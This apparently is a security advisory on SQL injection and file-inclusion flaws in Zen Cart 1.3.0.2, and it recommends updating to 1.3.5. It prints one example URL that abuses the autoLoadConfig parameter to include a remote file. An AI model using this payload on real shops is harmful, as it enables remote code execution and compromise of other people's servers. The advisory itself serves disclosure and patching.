Description:
James Bercegay has reported some vulnerabilities in Zen Cart, which can be exploited by malicious people to conduct SQL injection attacks and compromise a vulnerable system.

1) Input passed to the "ipn_get_stored_session", "whos_online_session_recreate", and the "add_cart" functions is not properly sanitised before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

2) Certain input is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources.

Examples:
http://[host]/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=[remote file]
* The "typefilter" parameter (only local resources)

The vulnerabilities have been reported in version 1.3.0.2. Other versions may also be affected.

Solution:
Update to version 1.3.5.
